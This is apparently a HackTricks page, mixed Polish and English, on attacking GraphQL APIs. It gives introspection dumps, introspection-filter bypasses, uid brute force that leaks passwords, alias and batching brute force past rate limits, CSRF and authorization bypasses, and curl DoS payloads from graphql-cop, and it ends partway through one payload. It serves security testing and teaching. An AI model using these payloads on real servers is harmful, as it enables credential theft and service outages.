GraphQL

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Introduction

GraphQL jest przedstawiany jako wydajna alternatywa dla REST API, oferująca uproszczone podejście do pobierania danych z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych endpointów, aby zebrać potrzebne dane, GraphQL pozwala pobrać wszystkie wymagane informacje przy użyciu jednego żądania. To usprawnienie znacząco ułatwia pracę deweloperom, zmniejszając złożoność procesów pobierania danych.

GraphQL and Security

Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się także nowe luki bezpieczeństwa. Kluczowe jest to, że GraphQL nie zawiera domyślnie mechanizmów uwierzytelniania. To obowiązek deweloperów, by zaimplementować takie zabezpieczenia. Bez odpowiedniego uwierzytelnienia endpointy GraphQL mogą ujawniać wrażliwe informacje nieuwierzytelnionym użytkownikom, stwarzając poważne ryzyko bezpieczeństwa.

Directory Brute Force Attacks and GraphQL

Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie w atakach brute force na katalogi następujących ścieżek. Te ścieżki to:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Zidentyfikowanie otwartych instancji GraphQL pozwala na sprawdzenie obsługiwanych zapytań. Jest to kluczowe dla zrozumienia danych dostępnych przez endpoint. System introspekcji GraphQL ułatwia to, opisując zapytania, które obsługuje schemat. Po więcej informacji odnieś się do dokumentacji GraphQL dotyczącej introspekcji: GraphQL: A query language for APIs.

Fingerprint

Narzędzie graphw00f potrafi wykryć, który silnik GraphQL jest używany na serwerze, a następnie wyświetla przydatne informacje dla audytora bezpieczeństwa.

Uniwersalne zapytania

Aby sprawdzić, czy URL to serwis GraphQL, można wysłać uniwersalne zapytanie query{__typename}. Jeśli odpowiedź zawiera {"data": {"__typename": "Query"}}, potwierdza to, że URL obsługuje endpoint GraphQL. Ta metoda opiera się na polu __typename GraphQL, które ujawnia typ zapytanego obiektu.

query{__typename}

Podstawowa enumeracja

Graphql zazwyczaj obsługuje GET, POST (x-www-form-urlencoded) oraz POST(json). Jednak ze względów bezpieczeństwa zaleca się zezwalać tylko na json, aby zapobiec atakom CSRF.

Introspekcja

Aby użyć introspekcji do odkrywania informacji o schemacie, wykonaj zapytanie pola __schema. To pole jest dostępne na głównym typie wszystkich zapytań.

query={__schema{types{name,fields{name}}}}

Za pomocą tego query znajdziesz nazwy wszystkich typów, które są używane:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Za pomocą tego zapytania możesz wyodrębnić wszystkie typy, ich pola oraz ich argumenty (i typ argumentów). To będzie bardzo przydatne, aby wiedzieć, jak wykonywać zapytania do bazy danych.

Błędy

Warto wiedzieć, czy błędy będą wyświetlane, ponieważ dostarczą przydatnych informacji.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Wypisz schemat bazy danych za pomocą introspekcji

Tip

Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy onOperation, onFragment oraz onField ze struktury zapytania.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Wbudowane zapytanie introspekcyjne:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types…)

If introspection is enabled you can use GraphQL Voyager to view in a GUI all the options.

Zapytania

Skoro wiemy już, jakie informacje są przechowywane w bazie danych, spróbujmy wyciągnąć kilka wartości.

W introspekcji możesz znaleźć który obiekt możesz bezpośrednio zapytać (ponieważ nie możesz zapytać obiektu tylko dlatego, że on istnieje). Na poniższym obrazku widać, że “queryType” nazywa się “Query” i że jednym z pól obiektu “Query” jest “flags”, który jest również typem obiektu. Dlatego możesz wykonać zapytanie do obiektu “flags”.

Zauważ, że typ pola zapytania “flags” to “Flags”, a ten obiekt jest zdefiniowany jak poniżej:

Widać, że obiekty “Flags” składają się z pól name i value. Możesz więc pobrać wszystkie wartości pól name i value dla flag za pomocą zapytania:

query={flags{name, value}}

Zauważ, że jeśli obiekt do zapytania jest prymitywnym typem takim jak string jak w poniższym przykładzie

Możesz po prostu zapytać go za pomocą:

query = { hiddenFlags }

W innym przykładzie, gdzie wewnątrz obiektu typu “Query” były 2 obiekty: “user” i “users”.
Jeśli te obiekty nie wymagają żadnego argumentu do wyszukiwania, można pobrać wszystkie informacje z nich po prostu żądać danych, których potrzebujesz. W tym przykładzie z Internetu można było wyciągnąć zapisane nazwy użytkowników i hasła:

Jednak w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten błąd:

Wygląda na to, że w jakiś sposób będzie wyszukiwać używając argumentu “uid” typu Int.
Tak czy inaczej, już o tym wiedzieliśmy — w sekcji Basic Enumeration zaproponowano zapytanie, które pokazywało wszystkie potrzebne informacje: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Jeśli spojrzysz na załączony obrazek, gdy uruchomiłem to zapytanie, zobaczysz, że “user” miał arguid” typu Int.

Więc wykonując lekkie uid bruteforce, odkryłem że dla uid=1 zwrócono nazwę użytkownika i hasło:
query={user(uid:1){user,password}}

Zauważ, że odkryłem, iż mogłem żądać parametrówuser” i “password” ponieważ jeśli spróbuję szukać czegoś, co nie istnieje (query={user(uid:1){noExists}}) otrzymuję ten błąd:

A podczas fazy enumeration phase odkryłem, że obiekt “dbuser” miał pola “user” i “password.

Query string dump trick (thanks to @BinaryShadow_)

Jeśli możesz wyszukiwać po typie string, np.: query={theusers(description: ""){username,password}} i wyszukasz pusty string, to to zrzuci wszystkie dane. (Uwaga: ten przykład nie jest związany z przykładem z tutoriala; w tym przykładzie załóż, że możesz wyszukiwać używając “theusers” po polu String o nazwie “description).

Wyszukiwanie

W tej konfiguracji database zawiera persons i movies. Persons są identyfikowane przez ich email i name; movies przez ich name i rating. Persons mogą być przyjaciółmi między sobą i także mieć movies, co wskazuje relacje w bazie danych.

Możesz wyszukać persons po name i uzyskać ich adresy email:

{
searchPerson(name: "John Doe") {
email
}
}

Możesz wyszukać osoby po nazwie i uzyskać ich subskrybowane filmy:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Zwróć uwagę, jak wskazano pobranie name z subscribedMovies danej osoby.

Możesz także przeszukać kilka obiektów jednocześnie. W tym przypadku przeprowadzono wyszukiwanie dwóch filmów:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

A nawet relacje kilku różnych obiektów przy użyciu aliasów:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutacje

Mutacje służą do wprowadzania zmian po stronie serwera.

W introspekcji możesz znaleźć zadeklarowane mutacje. Na poniższym obrazku “MutationType” nazywa się “Mutation”, a obiekt “Mutation” zawiera nazwy mutacji (np. “addPerson” w tym przypadku):

W tej konfiguracji baza danych zawiera osoby i filmy. Osoby są identyfikowane przez swój email i name; filmy przez swoją name i rating. Osoby mogą być ze sobą zaprzyjaźnione i również mieć filmy, co wskazuje relacje w bazie danych.

Mutacja do tworzenia nowych filmów w bazie danych może wyglądać następująco (w tym przykładzie mutacja nazywa się addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Zwróć uwagę, że zarówno wartości, jak i typ danych są wskazane w zapytaniu.

Dodatkowo baza danych obsługuje operację mutation, nazwaną addPerson, która umożliwia tworzenie persons wraz z ich powiązaniami z istniejącymi friends i movies. Należy pamiętać, że friends i movies muszą istnieć w bazie danych wcześniej, zanim zostaną powiązane z nowo utworzoną osobą.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Jak wyjaśniono w one of the vulns described in this report, directive overloading polega na wywoływaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania zasobów operacyjnych, aż możliwe będzie przeprowadzenie DoS.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Uwierzytelnianie przez GraphQL API polegające na wysyłaniu jednocześnie wielu zapytań z różnymi danymi uwierzytelniającymi w celu jego sprawdzenia. To klasyczny brute force attack, jednak teraz możliwe jest wysłanie więcej niż jednej pary login/password w jednym żądaniu HTTP dzięki funkcji GraphQL batching. Takie podejście może zmylić zewnętrzne aplikacje monitorujące rate limiting, sugerując, że wszystko jest w porządku i że nie ma bota brute-forcing próbującego odgadnąć passwords.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.

GraphQL Without Introspection

More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.

Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.

A nice wordlist to discover GraphQL entities can be found here.

Bypassing GraphQL introspection defences

To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the __schema keyword. By adding characters like spaces, new lines, and commas, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after __schema may bypass such defenses:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Jeśli to się nie uda, rozważ alternatywne metody wysyłania żądań, takie jak GET requests lub POST with x-www-form-urlencoded, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.

Spróbuj WebSockets

Jak wspomniano w this talk, sprawdź, czy możliwe jest połączenie z graphQL przez WebSockets, ponieważ może to pozwolić na obejście potencjalnego WAF i spowodować, że komunikacja WebSocket leak the schema of the graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Odkrywanie ujawnionych struktur GraphQL

Gdy introspekcja jest wyłączona, przejrzenie kodu źródłowego strony w poszukiwaniu preloaded queries w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, używając zakładki Sources w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie ujawnione wrażliwe zapytania. Polecenia do przeszukiwania w narzędziach deweloperskich to:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)

Gdy introspekcja jest zablokowana, InQL v6.1+ potrafi teraz odtworzyć osiągalny schemat wyłącznie na podstawie informacji zwrotnych z błędów. Nowy schema bruteforcer grupuje kandydackie nazwy pól/argumentów z konfigurowalnej listy słów i wysyła je w operacjach obejmujących wiele pól, aby zmniejszyć ruch HTTP. Przydatne wzorce błędów są następnie zbierane automatycznie:

  • Field 'bugs' not found on type 'inql' potwierdza istnienie typu nadrzędnego, jednocześnie odrzucając niepoprawne nazwy pól.
  • Argument 'contribution' is required pokazuje, że argument jest obowiązkowy i ujawnia jego pisownię.
  • Sugestie, takie jak Did you mean 'openPR'?, są dodawane z powrotem do kolejki jako zweryfikowani kandydaci.
  • Przez celowe wysyłanie wartości o nieodpowiednim typie prymitywnym (np. integers zamiast strings) bruteforcer wywołuje błędy type mismatch, które leak the real type signature, w tym opakowań list/obiektów takich jak [Episode!].

Bruteforcer kontynuuje rekurencję przez każdy typ, który ujawnia nowe pola, więc wordlista łącząca ogólne nazwy GraphQL z przypuszczeniami specyficznymi dla aplikacji w końcu odwzoruje duże fragmenty schematu bez introspekcji. Czas działania jest w dużej mierze ograniczony przez rate limiting i liczbę kandydatów, dlatego dopracowanie ustawień InQL (wordlist, batch size, throttling, retries) jest kluczowe dla bardziej skrytych testów.

W tej samej wersji InQL dostarcza GraphQL engine fingerprinter (pożyczając sygnatury z narzędzi takich jak graphw00f). Moduł wysyła celowo nieprawidłowe dyrektywy/zapytania i klasyfikuje backend poprzez dopasowanie dokładnego tekstu błędu. Na przykład:

query @deprecated {
__typename
}
  • Apollo odpowiada: Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby odpowiada: '@deprecated' can't be applied to queries.

Gdy silnik zostanie rozpoznany, InQL wyświetla odpowiadający wpis z GraphQL Threat Matrix, pomagając testerom priorytetyzować słabości typowe dla tej rodziny serwerów (domyślne zachowanie introspekcji, limity głębokości, luki CSRF, przesyłanie plików itp.).

Wreszcie, automatic variable generation usuwa klasyczną przeszkodę przy przejściu do Burp Repeater/Intruder. Za każdym razem, gdy operacja wymaga variables JSON, InQL teraz wstrzykuje rozsądne wartości domyślne, dzięki czemu żądanie przechodzi walidację schematu przy pierwszym wysłaniu:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Zagnieżdżone input objects dziedziczą to samo mapowanie, więc od razu otrzymujesz składniowo i semantycznie poprawny payload, który można fuzzować pod kątem SQLi/NoSQLi/SSRF/logic bypasses bez ręcznego reverse-engineeringu każdego argumentu.

CSRF w GraphQL

Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:

CSRF (Cross Site Request Forgery)

W praktyce można znaleźć wiele endpointów GraphQL skonfigurowanych bez CSRF tokens.

Zauważ, że zapytania GraphQL są zwykle wysyłane jako żądania POST z nagłówkiem Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Jednak większość GraphQL endpoints obsługuje także form-urlencoded POST requests:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Dlatego, ponieważ żądania CSRF podobne do poprzednich są wysyłane without preflight requests, możliwe jest perform changes w GraphQL poprzez wykorzystanie CSRF.

Zauważ jednak, że nowa domyślna wartość cookie flagi samesite w Chrome to Lax. Oznacza to, że cookie będzie wysyłane z serwisu trzeciej strony tylko w żądaniach GET.

Zauważ, że zwykle możliwe jest również wysłanie query request jako GET request i token CSRF może nie być weryfikowany w żądaniu GET.

Również nadużycie XS-Search attack może umożliwić eksfiltrację zawartości z endpointu GraphQL, wykorzystując poświadczenia użytkownika.

Po więcej informacji sprawdź original post here.

Cross-site WebSocket hijacking in GraphQL

Podobnie do podatności CRSF wykorzystujących GraphQL, możliwe jest również przeprowadzenie Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies i zmuszenie użytkownika do wykonania nieoczekiwanych akcji w GraphQL.

Dla więcej informacji sprawdź:

WebSocket Attacks

Autoryzacja w GraphQL

Wiele funkcji GraphQL zdefiniowanych na endpointzie może sprawdzać tylko uwierzytelnienie żądającego, a nie autoryzację.

Modyfikacja zmiennych wejściowych query może doprowadzić do ujawnienia wrażliwych danych konta leaked.

Mutation może nawet prowadzić do przejęcia konta poprzez próbę modyfikacji danych innego konta.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Omijanie autoryzacji w GraphQL

Chaining queries w połączeniu mogą obejść słaby system uwierzytelniania.

W poniższym przykładzie widać, że operacja to “forgotPassword” i powinna wykonać tylko zapytanie forgotPassword z nią związane. Można to obejść, dodając na końcu kolejne zapytanie — w tym przypadku dodajemy “register” oraz zmienną user, żeby system zarejestrował nowego użytkownika.

Omijanie Rate Limits przy użyciu aliases w GraphQL

W GraphQL aliases to potężna funkcja, która pozwala na jawne nadawanie nazw właściwościom podczas wysyłania żądania API. Ta możliwość jest szczególnie przydatna do pobierania wielu instancji tego samego typu obiektu w ramach jednego żądania. Aliases można wykorzystać, aby obejść ograniczenie uniemożliwiające obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.

Dla szczegółowego zrozumienia aliases w GraphQL, polecanym źródłem jest: Aliases.

Choć głównym celem aliases jest ograniczenie liczby wywołań API, zidentyfikowano niezamierzone zastosowanie, w którym aliases można wykorzystać do przeprowadzenia brute force attacks na endpoint GraphQL. Dzieje się tak, ponieważ niektóre endpointy są chronione przez rate limiters zaprojektowane, aby powstrzymać brute force attacks poprzez ograniczanie number of HTTP requests. Jednak takie rate limiters mogą nie uwzględniać liczby operacji zawartych w pojedynczym żądaniu. Ponieważ aliases pozwalają umieścić wiele zapytań w jednym HTTP request, mogą ominąć tego typu ograniczenia.

Rozważ poniższy przykład, który ilustruje, jak aliased queries można użyć do weryfikacji poprawności kodów rabatowych sklepu. Ta metoda może obejść rate limiting, ponieważ łączy wiele zapytań w jedno HTTP request, potencjalnie pozwalając na jednoczesną weryfikację wielu kodów rabatowych.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS w GraphQL

Alias Overloading

Alias Overloading to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami tego samego pola, powodując, że backendowy resolver wykonuje to pole wielokrotnie. Może to przeciążyć zasoby serwera, prowadząc do Denial of Service (DoS). Na przykład, w zapytaniu poniżej to samo pole (expensiveField) jest żądane 1,000 razy przy użyciu aliasów, zmuszając backend do obliczenia go 1,000 razy, co może wyczerpać CPU lub pamięć:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Aby temu zapobiec, zaimplementuj alias count limits, query complexity analysis lub rate limiting, aby zapobiec nadużyciom zasobów.

Array-based Query Batching

Array-based Query Batching to luka, w której GraphQL API pozwala na grupowanie wielu zapytań w jednym żądaniu, umożliwiając atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przeciążyć backend poprzez równoczesne wykonywanie wszystkich zapytań z partii, zużywając nadmierne zasoby (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadząc do Denial of Service (DoS). Jeśli nie istnieje ograniczenie liczby zapytań w partii, atakujący może to wykorzystać do obniżenia dostępności usługi.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

W tym przykładzie 10 różnych zapytań jest zgrupowanych w jedno żądanie, zmuszając serwer do wykonania ich wszystkich jednocześnie. Jeśli zostanie to wykorzystane z większym rozmiarem partii zapytań lub zapytaniami wymagającymi dużych zasobów obliczeniowych, może przeciążyć serwer.

Directive Overloading Vulnerability

Directive Overloading występuje, gdy serwer GraphQL pozwala na zapytania z nadmiernymi, zduplikowanymi dyrektywami. Może to przeciążyć parser i executor serwera, szczególnie jeśli serwer wielokrotnie przetwarza tę samą logikę dyrektywy. Bez odpowiedniej walidacji lub ograniczeń atakujący może to wykorzystać, tworząc zapytanie z licznymi zduplikowanymi dyrektywami, co wywoła wysokie zużycie zasobów obliczeniowych lub pamięci, prowadząc do Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Zwróć uwagę, że w poprzednim przykładzie @aa jest niestandardową dyrektywą, która może nie być zadeklarowana. Powszechnie spotykaną dyrektywą jest @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Możesz także wysłać zapytanie introspekcyjne, aby odkryć wszystkie zadeklarowane dyrektywy:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

A potem użyj niektórych niestandardowych.

Field Duplication Vulnerability

Field Duplication to luka, w której serwer GraphQL pozwala na zapytania z tym samym polem powtarzanym nadmiernie. Zmusza to serwer do ponownego rozwiązywania pola dla każdej instancji, zużywając znaczące zasoby (CPU, pamięć oraz wywołania bazy danych). Atakujący może skonstruować zapytania z setkami lub tysiącami powtórzonych pól, powodując duże obciążenie i potencjalnie prowadząc do Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 